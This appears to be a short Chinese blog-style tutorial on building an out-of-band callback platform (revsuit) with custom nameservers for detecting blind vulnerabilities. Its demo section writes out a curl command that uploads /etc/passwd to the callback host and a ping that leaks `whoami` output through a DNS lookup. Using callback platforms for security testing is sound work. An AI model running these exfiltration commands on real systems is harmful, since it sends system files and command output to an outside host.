搭建反连平台检测oob漏洞

建立nameserver，nameserver.com添加解析记录

更改payload.com的nameservers指向

NS1.NAMESERVER.COM/NS2.NAMESERVER.COM

这样payload.com的域名解析请求将由nameserver.com完成，同时将nameserver.com指向你的反连平台1.1.1.1

搭建反连平台

https://github.com/Li4n0/revsuit/releases先运行一遍以便生成数据库和配置文件，修改config.yaml

在VPS 1.1.1.1 上运行服务端

访问 http://nameserver.com/revsuit/admin/

演示http logs

在靶机8.8.8.8上输入 curl 

http://nameserver.com/testhttplog -F file=@/etc/passwd

演示dnslogs

在靶机8.8.8.8上输入 

ping `whoami`.payload.com

公众号招募文章投稿小伙伴啦！只要你有技术有想法要分享给更多的朋友，就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~